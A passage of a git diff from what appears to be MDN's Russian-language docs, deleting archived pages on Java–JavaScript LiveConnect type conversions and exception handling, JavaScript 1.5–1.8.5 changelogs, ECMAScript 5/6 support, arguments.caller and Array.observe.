-    public String dogBreed;
-    public String dogColor;
-    public String dogSex;
-
-    // define the class constructor
-    public JavaDog(JSObject jsDog){
-        // use try...catch to handle JSExceptions here
-        this.dogBreed = (String)jsDog.getMember("breed");
-        this.dogColor = (String)jsDog.getMember("color");
-        this.dogSex = (String)jsDog.getMember("sex");
-    }
-}
-
- -

Notice that the getMember method of JSObject is used to access the properties of the JavaScript object. The previous example uses getMember to assign the value of the JavaScript property jsDog.breed to the Java data member JavaDog.dogBreed.

- -

Note: A more realistic example would place the call to getMember inside a try...catch statement to handle errors of type JSException. See Handling JavaScript Exceptions in Java for more information.

- -

To get a better sense of how getMember works, look at the definition of the custom JavaScript object Dog:

- -
function Dog(breed,color,sex){
-   this.breed = breed;
-   this.color = color;
-   this.sex = sex;
-}
-
- -

You can create a JavaScript instance of Dog called gabby as follows:

- -
var gabby = new Dog("lab", "chocolate", "female");
-
- -

If you evaluate gabby.color, you can see that it has the value "chocolate". Now suppose you create an instance of JavaDog in your JavaScript code by passing the gabby object to the constructor as follows:

- -
var javaDog = new Packages.JavaDog(gabby);
-
- -

If you evaluate javaDog.dogColor, you can see that it also has the value "chocolate", because the getMember method in the Java constructor assigns dogColor the value of gabby.color.

- -

Handling JavaScript Exceptions in Java

- -

When JavaScript code called from Java fails at run time, it throws an exception. If you are calling the JavaScript code from Java, you can catch this exception in a try...catch statement. The JavaScript exception is available to your Java code as an instance of netscape.javascript.JSException.

- -

JSException is a Java wrapper around any exception type thrown by JavaScript, similar to the way that instances of JSObject are wrappers for JavaScript objects. Use JSException when you are evaluating JavaScript code in Java.

- -

When you are evaluating JavaScript code in Java, the following situations can cause run-time errors:

- - - -

For example, suppose the Java object eTest evaluates the string jsCode that you pass to it. You can respond to either type of run-time error the evaluation causes by implementing an exception handler such as the following:

- -
import netscape.javascript.JSObject;
-import netscape.javascript.JSException;
-
-public class eTest {
-    public static Object doit(JSObject obj, String jsCode) {
-        try {
-            obj.eval(jsCode);
-        } catch (JSException e) {
-            if (e.getWrappedException() == null)
-                return e;
-            return e.getWrappedException();
-        }
-        return null;
-    }
-}
-
- -

In this example, the code in the try block attempts to evaluate the string jsCode that you pass to it. Let's say you pass the string "myFunction()" as the value of jsCode. If myFunction is not defined as a JavaScript function, the JavaScript interpreter cannot evaluate jsCode. The interpreter generates an error message, the Java handler catches the message, and the doit method returns an instance of netscape.javascript.JSException.

- -

However, suppose myFunction is defined in JavaScript as follows:

- -
function myFunction() {
-   try {
-      if (theCondition == true) {
-         return "Everything's ok";
-      } else {
-         throw "JavaScript error occurred";
-      }
-   } catch (e) {
-      if (canHandle == true) {
-         handleIt();
-      } else {
-         throw e;
-      }
-   }
-}
-
- -

If theCondition is false, the function throws an exception. The exception is caught in the JavaScript code, and if canHandle is true, JavaScript handles it. If canHandle is false, the exception is rethrown, the Java handler catches it, and the doit method returns a Java string:

- -
JavaScript error occurred
-
- -

See Exception Handling Statements for complete information about JavaScript exceptions.

- -

Backward Compatibility

- -

In JavaScript 1.3 and earlier versions, the JSException class had three public constructors which optionally took a string argument, specifying the detail message or other information for the exception. The getWrappedException method was not available.

- -

Use a try...catch statement such as the following to handle LiveConnect exceptions in JavaScript 1.3 and earlier versions:

- -
try {
-   global.eval("foo.bar = 999;");
-} catch (Exception e) {
-   if (e instanceof JSException) {
-      jsCodeFailed();
-   } else {
-      otherCodeFailed();
-   }
-}
-
- -

In this example, the eval statement fails if foo is not defined. The catch block executes the jsCodeFailed method if the eval statement in the try block throws a JSException; the otherCodeFailed method executes if the try block throws any other error.

- -

Data Type Conversions

- -

Because Java is a strongly typed language and JavaScript is weakly typed, the JavaScript runtime engine converts argument values into the appropriate data types for the other language when you use LiveConnect. These conversions are described in the following sections:

- - - -

JavaScript to Java Conversions

- -

When you call a Java method and pass it parameters from JavaScript, the data types of the parameters you pass in are converted according to the rules described in the following sections:

- - - -

The return values of methods of netscape.javascript.JSObject are always converted to instances of java.lang.Object. The rules for converting these return values are also described in these sections.

- -

For example, if JSObject.eval returns a JavaScript number, you can find the rules for converting this number to an instance of java.lang.Object in Number Values.

- -

Number Values

- -

When you pass JavaScript number types as parameters to Java methods, Java converts the values according to the rules described in the following table:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Java parameter typeConversion rules
double -
    -
  • The exact value is transferred to Java without rounding and without a loss of magnitude or sign.
  • -
  • NaN is converted to NaN.
  • -
-
java.lang.Double
- java.lang.Object
A new instance of java.lang.Double is created, and the exact value is transferred to Java without rounding and without a loss of magnitude or sign.
float -
    -
  • Values are rounded to float precision.
  • -
  • Values which are too large or small to be represented are rounded to +infinity or -infinity.
  • -
  • NaN is converted to NaN.
  • -
-
byte -

char
- int
- long

- short
-
    -
  • Values are rounded using round-to-negative-infinity mode.
  • -
  • Values which are too large or small to be represented result in a run-time error.
  • -
  • NaN can not be converted and results in a run-time error.
  • -
-
java.lang.StringValues are converted to strings. For example: -
    -
  • 237 becomes "237"
  • -
-
boolean -
    -
  • 0 and NaN values are converted to false.
  • -
  • Other values are converted to true.
  • -
-
- -

When a JavaScript number is passed as a parameter to a Java method which expects an instance of java.lang.String, the number is converted to a string. Use the equals() method to compare the result of this conversion with other string values.

- -

Boolean Values

- -

When you pass JavaScript Boolean types as parameters to Java methods, Java converts the values according to the rules described in the following table:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Java parameter typeConversion rules
booleanAll values are converted directly to the Java equivalents.
java.lang.Boolean
- java.lang.Object
A new instance of java.lang.Boolean is created. Each parameter creates a new instance, not one instance with the same primitive value.
java.lang.StringValues are converted to strings. For example: -
    -
  • true becomes "true"
  • -
  • false becomes "false"
  • -
-
byte -

char
- double
- float
- int
- long

- short
-
    -
  • true becomes 1
  • -
  • false becomes 0
  • -
-
- -

When a JavaScript Boolean is passed as a parameter to a Java method which expects an instance of java.lang.String, the Boolean is converted to a string. Use the == operator to compare the result of this conversion with other string values.

- -

String Values

- -

When you pass JavaScript string types as parameters to Java methods, Java converts the values according to the rules described in the following table:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Java parameter typeConversion rules
java.lang.String
- java.lang.Object
JavaScript 1.4: -
    -
  • A JavaScript string is converted to an instance of java.lang.String with a Unicode value.
  • -
- -

JavaScript 1.3 and earlier:

- -
    -
  • A JavaScript string is converted to an instance of java.lang.String with an ASCII value.
  • -
-
byte -

double
- float
- int
- long

- short
All values are converted to numbers as described in ECMA-262. The JavaScript string value is converted to a number according to the rules described in ECMA-262.
charJavaScript 1.4: -
    -
  • One-character strings are converted to Unicode characters.
  • -
  • All other values are converted to numbers.
  • -
- -

JavaScript 1.3 and earlier:

- -
    -
  • All values are converted to numbers.
  • -
-
boolean -
    -
  • The empty string becomes false.
  • -
  • All other values become true.
  • -
-
- -

Undefined Values

- -

When you pass undefined JavaScript values as parameters to Java methods, Java converts the values according to the rules described in the following table:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Java parameter typeConversion rules
java.lang.String
- java.lang.Object
The value is converted to an instance of java.lang.String whose value is the string "undefined".
booleanThe value becomes false.
double
- float
The value becomes NaN.
byte -

char
- int
- long

- short
The value becomes 0.
- -

The undefined value conversion is possible in JavaScript 1.3 and later versions only. Earlier versions of JavaScript do not support undefined values.

- -

When a JavaScript undefined value is passed as a parameter to a Java method which expects an instance of java.lang.String, the undefined value is converted to a string. Use the == operator to compare the result of this conversion with other string values.

- -

Null Values

- -

When you pass null JavaScript values as parameters to Java methods, Java converts the values according to the rules described in the following table:

- - - - - - - - - - - - - - - - - - - - - - -
Java parameter typeConversion rules
Any class
- Any interface type
The value becomes null.
byte -

char
- double
- float
- int
- long

- short
The value becomes 0.
booleanThe value becomes false.
- -

JavaArray and JavaObject objects

- -

In most situations, when you pass a JavaScript JavaArray or JavaObject as a parameter to a Java method, Java simply unwraps the object; in a few situations, the object is coerced into another data type according to the rules described in the following table:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Java parameter typeConversion rules
Any interface or class that is assignment-compatible with the unwrapped object.The object is unwrapped.
java.lang.StringThe object is unwrapped, the toString method of the unwrapped Java object is called, and the result is returned as a new instance of java.lang.String.
byte -

char
- double
- float
- int
- long

- short
The object is unwrapped, and either of the following situations occur: -
    -
  • If the unwrapped Java object has a doubleValue method, the JavaArray or JavaObject is converted to the value returned by this method.
  • -
  • If the unwrapped Java object does not have a doubleValue method, an error occurs.
  • -
-
booleanIn JavaScript 1.3 and later versions, the object is unwrapped and either of the following situations occur: -
    -
  • If the object is null, it is converted to false.
  • -
  • If the object has any other value, it is converted to true.
  • -
- -

In JavaScript 1.2 and earlier versions, the object is unwrapped and either of the following situations occur:

- -
    -
  • If the unwrapped object has a booleanValue method, the source object is converted to the return value.
  • -
  • If the object does not have a booleanValue method, the conversion fails.
  • -
-
- -

An interface or class is assignment-compatible with an unwrapped object if the unwrapped object is an instance of the Java parameter type. That is, the following statement must return true:

- -
unwrappedObject instanceof parameterType;
-
- -

JavaClass objects

- -

When you pass a JavaScript JavaClass object as a parameter to a Java method, Java converts the object according to the rules described in the following table:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Java parameter typeConversion rules
java.lang.ClassThe object is unwrapped.
netscape.javascript.JSObject
- java.lang.Object
The JavaClass object is wrapped in a new instance of netscape.javascript.JSObject.
java.lang.StringThe object is unwrapped, the toString method of the unwrapped Java object is called, and the result is returned as a new instance of java.lang.String.
booleanIn JavaScript 1.3 and later versions, the object is unwrapped and either of the following situations occur: -
    -
  • If the object is null, it is converted to false.
  • -
  • If the object has any other value, it is converted to true.
  • -
- -

In JavaScript 1.2 and earlier versions, the object is unwrapped and either of the following situations occur:

- -
    -
  • If the unwrapped object has a booleanValue method, the source object is converted to the return value.
  • -
  • If the object does not have a booleanValue method, the conversion fails.
  • -
-
- -

Other JavaScript objects

- -

When you pass any other JavaScript object as a parameter to a Java method, Java converts the object according to the rules described in the following table:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Java parameter typeConversion rules
netscape.javascript.JSObject
- java.lang.Object
The object is wrapped in a new instance of netscape.javascript.JSObject.
java.lang.StringThe object is unwrapped, the toString method of the unwrapped object is called, and the result is returned as a new instance of java.lang.String.
byte -

char
- double
- float
- int
- long

- short
The object is converted to a value using the logic of the ToPrimitive operator described in ECMA-262. The PreferredType hint used with this operator is Number.
booleanIn JavaScript 1.3 and later versions, the object is unwrapped and either of the following situations occur: -
    -
  • If the object is null, it is converted to false.
  • -
  • If the object has any other value, it is converted to true.
  • -
- -

In JavaScript 1.2 and earlier versions, the object is unwrapped and either of the following situations occur:

- -
    -
  • If the unwrapped object has a booleanValue method, the source object is converted to the return value.
  • -
  • If the object does not have a booleanValue method, the conversion fails.
  • -
-
- -

Java to JavaScript Conversions

- -

Values passed from Java to JavaScript are converted as follows:

- - - -

Note that instances of java.lang.Double and java.lang.Integer are converted to JavaScript objects, not to JavaScript numbers. Similarly, instances of java.lang.String are also converted to JavaScript objects, not to JavaScript strings.

- -

Java String objects also correspond to JavaScript wrappers. If you call a JavaScript method that requires a JavaScript string and pass it this wrapper, you'll get an error. Instead, convert the wrapper to a JavaScript string by appending the empty string to it, as shown here:

- -
var JavaString = JavaObj.methodThatReturnsAString();
-var JavaScriptString = JavaString + "";
diff --git a/files/ru/web/javascript/new_in_javascript/1.5/index.html b/files/ru/web/javascript/new_in_javascript/1.5/index.html deleted file mode 100644 index a27746c51b..0000000000 --- a/files/ru/web/javascript/new_in_javascript/1.5/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Новое в JavaScript 1.5 -slug: Web/JavaScript/New_in_JavaScript/1.5 -translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.5 ---- -
{{jsSidebar("New_in_JS")}}
- -

Следующий список описывает изменения в JavaScript 1.5. Эта версия была включена в Netscape Navigator 6.0, дата релиза которого – 14 ноября 2000 года. Также Javascript 1.5 использовался в более поздних версиях Netscape Navigator, а также Firefox 1.0.  JavaScript 1.5 соответствует JScript версии 5.5 используемой в Internet Explorer 5.5, который был представлен в июле 2000. Соответствующая версия стандарта ECMA – ECMA-262 третьей редакции (от декабря 1999 года).

- -

Новое в JavaScript 1.5

- - - -

Что изменилось в JavaScript 1.5

- - diff --git a/files/ru/web/javascript/new_in_javascript/1.6/index.html b/files/ru/web/javascript/new_in_javascript/1.6/index.html deleted file mode 100644 index 252db0756e..0000000000 --- a/files/ru/web/javascript/new_in_javascript/1.6/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Новое в JavaScript 1.6 -slug: Web/JavaScript/New_in_JavaScript/1.6 -tags: - - JavaScript -translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.6 ---- -
{{jsSidebar("New_in_JS")}}
- -

The following is a changelog for JavaScript 1.6. This version was included in Firefox 1.5 (Gecko 1.8), which was released in November 2005. The corresponding ECMA standard is ECMA-262 Edition 3 and ECMAScript for XML (E4X) with some additional features. Several new features were introduced: E4X, several new Array methods, and Array and String generics.

- -

New features in JavaScript 1.6

- - - -

Changed functionality in JavaScript 1.6

- - diff --git a/files/ru/web/javascript/new_in_javascript/1.8.1/index.html b/files/ru/web/javascript/new_in_javascript/1.8.1/index.html deleted file mode 100644 index eeceb235b3..0000000000 --- a/files/ru/web/javascript/new_in_javascript/1.8.1/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Новое в JavaScript 1.8.1 -slug: Web/JavaScript/New_in_JavaScript/1.8.1 -tags: - - Firefox 3.5 - - JavaScript - - Версии -translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.1 ---- -
{{jsSidebar("New_in_JS")}}
- -

Ниже приведен список изменений в JavaScript 1.8.1. Эта версия включена в Firefox 3.5.

- -

JavaScript 1.8.1 это скромное обновление синтаксиса на JavaScript; главным изменением является добавление Tracemonkey just-in-time compiler, которое повышает производительность.

- -

Новшества в JavaScript 1.8.1

- - - -

Измененные функции в JavaScript 1.8.1

- - diff --git a/files/ru/web/javascript/new_in_javascript/1.8.5/index.html b/files/ru/web/javascript/new_in_javascript/1.8.5/index.html deleted file mode 100644 index ab6a9d4ce3..0000000000 --- a/files/ru/web/javascript/new_in_javascript/1.8.5/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Новое в JavaScript 1.8.5 -slug: Web/JavaScript/New_in_JavaScript/1.8.5 -translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8.5 ---- -
{{jsSidebar("New_in_JS")}}
- -

Далее приведён список изменений в JavaScript 1.8.5. Эта версия была включена в Firefox 4.

- -

Что нового в JavaScript 1.8.5

- -

Новые функции

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ФункцияОписание
Object.create()Создаёт новый обЪект с указанным прототипом и свойствами. {{bug("492840")}}
Object.defineProperty()Добавляет свойство с переданным дескриптором к объекту.
Object.defineProperties()Добавляет свойства с переданными дескрипторами к объекту.
Object.getOwnPropertyDescriptor()Возвращает дескриптор свойства переданного объекта. {{bug("505587")}}
Object.keys()Возвращает массив всех перечисляемых свойств объекта. {{bug("307791")}}
Object.getOwnPropertyNames()Возвращает массив всех перечисляемых и не перечисляемых свойств объекта. {{bug("518663")}}
Object.preventExtensions()Предотвращает любые расширения объекта. {{bug("492849")}}
Object.isExtensible()Определяет, разрешено ли расширение объекта. {{bug("492849")}}
Object.seal()Запрещает остальному коду удаление свойств объекта {{bug("492845")}}
Object.isSealed()Определяет, запрещено ли удаление свойств объекта. {{bug("492845")}}
Object.freeze()Замораживает объект: остальной код не может удалять или изменять значения его свойств. {{bug("492844")}}
Object.isFrozen()Определяет, был ли объект заморожен. {{bug("492844")}}
Array.isArray()Проверяет, является ли переменная массивом. {{bug("510537")}}
Date.prototype.toJSON()Возвращает строку в формате JSON для объекта Date.
Function.prototype.bind()Метод bind() создаёт новую функцию, которая при вызове устанавливает в качестве контекста выполнения this предоставленное значение. В метод также передаётся набор аргументов, которые будут установлены перед переданными в привязанную функцию аргументами при её вызове.{{bug("429507")}}
- -

Новые возможности ECMAScript5

- - - -

Другая работа по стандартизации

- -

Различные нестандартизованные синтаксические конструкции задания геттеров/сеттеров были удалены; Определенный в  ECMAScript 5 синтаксис изменениям не подвергся. Все они были несколько "эзотерическими" и довольно редко использовались на практике; если эти изменения Вас затронули, прочтите эту статью.

- -

Новые объекты

- - - - - - - - - - - - - - -
ОбъектОписание
ProxyПредлагает поддержку при создании Object и Function прокси, что позволяет использовать метапрограммирование на JavaScript.
- -

Функциональность, изменённая в JavaScript 1.8.5

- - diff --git a/files/ru/web/javascript/new_in_javascript/1.8/index.html b/files/ru/web/javascript/new_in_javascript/1.8/index.html deleted file mode 100644 index 8187682071..0000000000 --- a/files/ru/web/javascript/new_in_javascript/1.8/index.html +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: New in JavaScript 1.8 -slug: Web/JavaScript/New_in_JavaScript/1.8 -tags: - - Версии -translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.8 ---- -
{{jsSidebar("New_in_JS")}}
- -

Следующее описание относится к  JavaScript 1.8. Эта версия была включена в Firefox 3 является частью Gecko 1.9. {{ Bug("380236") }} – здесь вы можете просмотреть исправленные в процессе разработки JavaScript 1.8 баги.

- -

Использование JavaScript 1.8

- -

Чтобы воспользоваться преимуществами JavaScript 1.8, используйте следующий синтаксис подключения:

- -
 <script type="application/javascript;version=1.8"> ... your code ... </script>
-
- -

Альтернативным методом является использование устаревшего аттрибута language тэга script. Для этого необходимо установить ему значение JavaScript1.8. Этот способ не рекомендуется к применению.

- -

При использовании JavaScript шеллов, JavaScript XPCOM компонент, или XUL <script> элементов, последняя версия JavaScript (JS1.8 в Mozilla 1.9) будет использована автоматически ({{ Bug(381031) }}, {{ Bug(385159) }}).

- -

Нововведения, которые используют ключевые слова yield и let требуют использования Javascript версии 1.7 или выше, потому как существующий код может использовать эти ключевые слова как названия переменных или функций. Остальные нововведения (например, генераторы) могут быть использованы без указания версии JavaScript.

- -

Новое в JavaScript 1.8

- - - -

Изменения в JavaScript 1.8

- -

Изменения в деструктивном присваивании

- -

Багфикс, который был добавлен в  JavaScript 1.8, решает проблему связанную с деструктивным присваиванием, которое было введено в JavaScript 1.7.  Изменен механизм  деструктуризации массивов при использовании for (var [a,b] in array). Ранее был доступен вызов в форме, описанной выше, однако это вызывало некорректное поведение цикла при работе с итераторами. Проблема решена ({{ Bug("366941") }}). Теперь следует использовать следующий синтаксис: for ( var [key, value] in Iterator(array)).

diff --git a/files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html b/files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html deleted file mode 100644 index 50fbcca8b5..0000000000 --- a/files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Поддержка ECMAScript 5 в Mozilla -slug: Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla -tags: - - ECMAScript5 - - JavaScript - - Versions -translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla ---- -

{{jsSidebar("New_in_JS")}}

- -

Стандарт ECMAScript 5.1, последнее издание стандарта, на котором основан язык JavaScript, был принят в июне 2011 года.

- -

Среда выполнения JavaScript, используемая в последних версиях проектов Mozilla, включающих Firefox и Thunderbird, имеет полную поддержку возможностей ECMAScript 5.1. Эта статья описывает возможности, поддерживаемые разными версиями среды выполнения JavaScript Mozilla.

- -

Поддерживаемые возможности

- -

Добавленные в JavaScript 1.8.5 (Gecko 2, Firefox 4 и более поздние)

- -

Firefox 4 имеет полную поддержку стандарта ECMAScript 5, включая методы Object.* и строгий режим. Смотрите статью Что нового в JavaScript 1.8.5.

- -

Добавленные в JavaScript 1.8.1 (Gecko 1.9.1, Firefox 3.5)

- - - -

Реализованы улучшения в алгоритме разбора, внесённые ECMAScript 5. Изменения предотвращают рассмотрение XHTML в качестве кода на JavaScript, ранее происходившее в определённых обстоятельствах.

- -

Добавленные в JavaScript 1.6 (Gecko 1.8, Firefox 1.5)

- -

Новые методы {{jsxref("Global_Objects/Array", "Array")}}, предлагающие некоторые улучшенные возможности по манипулированию массивами, были частью JavaScript начиная с JavaScript 1.6. Теперь они утверждены как часть стандарта ECMAScript 5.

- -

Смотрите также

- - diff --git a/files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html b/files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html deleted file mode 100644 index cfc66e9806..0000000000 --- a/files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html +++ /dev/null @@ -1,222 +0,0 @@ ---- -title: Поддержка ECMAScript 6 в Mozilla -slug: Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla -tags: - - ECMAScript6 - - JavaScript -translation_of: Archive/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla ---- -

{{jsSidebar("New_in_JS")}}

- -

ECMAScript 2015 - это новая версия стандарта, имеющая кодовое имя "Harmony","ES.next" или "ECMAScript 6". Черновая спецификация может быть найдена в официальном вики ECMA. Первый рабочий черновик, основанный на ECMAScript 5.1, был опубликован 12 июля 2011 как "ES.next". По состоянию на август 2014 в ECMAScript 2015 больше не принимаются новые функции и ожидается окончание работы над ним в конце 2014 с официальной публикацией в марте 2015.

- -

Для получения обратной связи по стандартам ECMAScript используется канал es-discuss.

- -

Поддерживаемые функции

- -

Следующие функции уже реализованы в Firefox:

- -

Стандартная библиотека

- -

Дополнения в объекте Array

- - - -

Новые объекты Map и Set и их слабые аналоги

- - - -

Новые функции в объекте Math

- - - -

Дополнения в объекте Number

- - - -

Дополнения в объекте Object

- - - -

Новый объект Promise

- - - -

Дополнения в объекте RegExp

- - - -

Дополнения в объекте String

- - - -

Новый объект Symbol

- - - -

Типизированные массивы

- -

Типизированные массивы стали часть спецификации ECMAScript 2015, а не только своей собственной.

- - - -

Выражения  и операторы

- - - -

Операторы

- - - -

Функции

- - - -

Другие возможности

- - - -

Стабилизируемые и обсуждаемые функции

- -

Следующие функции частично реализованы в Firefox, но были добавлены до принятия стандарта ES2015 или ещё обсуждаются в стандарте ECMA TC39.

- - - -

Не реализованные функции

- -

Следующие функции включены в черновик спецификации ECMAScript 2015, но пока не реализованы в Firefox:

- - - -

Смотрите также

- - diff --git a/files/ru/web/javascript/new_in_javascript/index.html b/files/ru/web/javascript/new_in_javascript/index.html deleted file mode 100644 index f01f13834f..0000000000 --- a/files/ru/web/javascript/new_in_javascript/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Что нового в JavaScript -slug: Web/JavaScript/New_in_JavaScript -tags: - - JavaScript - - Versions -translation_of: Archive/Web/JavaScript/New_in_JavaScript ---- -

{{jsSidebar("New_in_JS")}}

- -

Эта глава содержит информацию об истории версий JavaScript и статусе их реализаций в основанных на Mozilla/SpiderMonkey JavaScript-приложениях, таких, как Firefox.

- -

Версии ECMAScript

- -
-
Ресурсы по языку
-
Узнайте больше о стандартах ECMAScript, на которых основывается язык JavaScript.
-
Поддержка ECMAScript 5
-
Статус реализации стандарта ECMA-262 5-го издания в Firefox.
-
Поддержка ECMAScript 6
-
Статус реализации стандарта ECMA-262 6-го издания в Firefox.
-
Поддержка ECMAScript 7
-
Статус реализации стандарта ECMA-262 7-го издания в Firefox.
-
- -

Замечания к выпускам JavaScript

- -
-
Список изменений в JavaScript браузера Firefox
-
Смотрите этот список изменений, чтобы узнать, какие возможности JavaScript реализованы в Firefox 5 и выше.
-
Список изменений в JavaScript браузера Chrome
-
(TODO). Смотрите этот список изменений, чтобы узнать, какие возможности JavaScript реализованы в выпусках Chrome.
-
- -

Версии JavaScript

- -

Устарело ({{deprecated_inline}}). Явное версионирование и выбор возможностей языка было особенностью Mozilla и она находится в процессе удаления. Firefox 4 был последней версией, ссылающийся на версию JavaScript (1.8.5). С новыми стандартами ECMA возможности языка JavaScript часто упоминаются вместе с их первоначальным определением в изданиях ECMA-262, например, с 6-м изданием (ES6).

- -

JavaScript версии 1.0 был выпущен в марте 1996 года в браузерах Netscape Navigator 2.0 и Internet Explorer 2.0.

- -
-
JavaScript 1.1
-
Версия, содержащаяся в браузере Netscape Navigator 3.0. Выпущен 19 августа 1996 года.
-
JavaScript 1.2
-
Версия, содержащаяся в браузерах Netscape Navigator 4.0-4.05. Выпущен 11 июня 1997 года.
-
JavaScript 1.3
-
Версия, содержащаяся в браузерах Netscape Navigator 4.06-4.7x. Выпущен 19 октября 1998 года.
- Работа по стандартизации и совместимости с 1-м и 2-м изданиями ECMA-262.
-
JavaScript 1.4
-
Версия, содержащаяся в серверном JavaScript Netscape. Выпущен в 1999 году.
-
JavaScript 1.5
-
Версия, содержащаяся в браузерах Netscape Navigator 6.0 и Firefox 1.0. Выпущен 14 ноября 2000 года.
- Работа по стандартизации и совместимости с 3-им изданием ECMA-262.
-
JavaScript 1.6
-
Версия, содержащаяся в браузере Firefox 1.5. Выпущен в ноябре 2005 года.
- Включает ECMAScript для XML (E4X), новые методы объекта Array, плюс обобщённые методы объектов String и Array.
-
JavaScript 1.7
-
Версия, содержащаяся в браузере Firefox 2. Выпущен в октябре 2006 года.
- Включает генераторы, итераторы, выражения заполнения массива, выражения let и реструктуризующее присваивание.
-
JavaScript 1.8
-
Версия, содержащаяся в браузере Firefox 3. Выпущен в июне 2008 года.
- Включает выражения замыкания, выражения-генераторы и метод Array.reduce().
-
JavaScript 1.8.1
-
Версия, содержащаяся в браузере Firefox 3.5. Выпущен 30 июня 2009 года.
- Включает компилятор TraceMonkey JIT и поддержку родного JSON.
-
JavaScript 1.8.2
-
Версия, содержащаяся в браузере Firefox 3.6. Выпущен 22 июня 2009 года.
- Включает только незначительные изменения.
-
JavaScript 1.8.5
-
Версия, содержащаяся в браузере Firefox 4. Выпущен 27 июля 2010 года.
- Включает множество новых возможностей, соответствующих 5-му изданию ECMA-262.
- Это последняя версия JavaScript.
-
- -

Возможности, всё ещё требующие определённой версии

- -
-
инструкция let
-
Инструкция let требует версии JavaScript 1.7.
-
diff --git a/files/ru/web/javascript/reference/functions/arguments/caller/index.html b/files/ru/web/javascript/reference/functions/arguments/caller/index.html deleted file mode 100644 index 0b6fe5cc4b..0000000000 --- a/files/ru/web/javascript/reference/functions/arguments/caller/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: arguments.caller -slug: Web/JavaScript/Reference/Functions/arguments/caller -tags: - - Functions - - JavaScript - - Obsolete - - Property - - arguments -translation_of: Archive/Web/JavaScript/arguments.caller ---- -
{{jsSidebar("Functions")}}
- -

Устаревшее свойство arguments.caller использовалось для того, чтобы определить источник вызова функции, выполняющейся в текущий момент времени. Данное свойство было удалено и больше не работает.

- -

Описание

- -

Данное свойство больше не доступно, но вы все так же можете использовать {{jsxref("Function.caller")}}.

- -
function whoCalled() {
-   if (whoCalled.caller == null)
-      console.log('Меня вызвали из глобальной области видимости.');
-   else
-      console.log(whoCalled.caller + ' вызвал меня!');
-}
- -

Примеры

- -

Код, приведенный ниже, больше не работает, но раньше он использовался для проверки значения arguments.caller функции.

- -
function whoCalled() {
-   if (arguments.caller == null)
-      console.log('Меня вызвали из глобальной области видимости.');
-   else
-      console.log(arguments.caller + ' вызвал меня!');
-}
-
- -

Спецификации

- -

Не является частью какого-либо стандарта. Реализовано в JavaScript 1.1 и удалено в {{bug(7224)}}, поскольку влекло за собой потенциальную уязвимость.

- -

Совместимость с браузерами

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}
- удалено в IE 9
{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

Смотрите также

- - diff --git a/files/ru/web/javascript/reference/global_objects/array/observe/index.html b/files/ru/web/javascript/reference/global_objects/array/observe/index.html deleted file mode 100644 index f8d7d9cd07..0000000000 --- a/files/ru/web/javascript/reference/global_objects/array/observe/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: Array.observe() -slug: Web/JavaScript/Reference/Global_Objects/Array/observe -tags: - - Array - - ECMAScript7 - - Experimental - - Expérimental(2) - - JavaScript - - Method - - Reference - - Référence(2) -translation_of: Archive/Web/JavaScript/Array.observe ---- -
{{JSRef("Global_Objects", "Array")}}
- -

Сводка

- -

Метод Array.observe() используется для асинхронного обзора изменений в массивах, подобно тому, как метод {{jsxref("Object.observe()")}} используется для тех же целей для объектов. Он предоставляет поток изменений в порядке их возникновения.

- -

Синтаксис

- -
Array.observe(arr, callback)
- -

Параметры

- -
-
arr
-
Обозреваемый массив.
-
callback
-
Функция, вызываемая на каждое сделанное изменение со следующими аргументами: -
-
changes
-
Массив объектов, каждый из которых представляет одно изменение. Эти объекты обладают следующими свойствами: -
    -
  • name: название изменённого свойства.
  • -
  • object: изменённый массив, после применения этого изменения.
  • -
  • type: строка, указывающая тип произошедшего изменения. Может быть одной из "add", "update", "delete" или "splice".
  • -
  • oldValue: только для типов "update" и "delete". Значение до изменения.
  • -
  • index: только для типа "splice". Индекс, по которому произошло изменение.
  • -
  • removed: только для типа "splice". Массив с удалёнными элементами.
  • -
  • addedCount: только для типа "splice". Количество добавленных элементов.
  • -
-
-
-
-
- -

Описание

- -

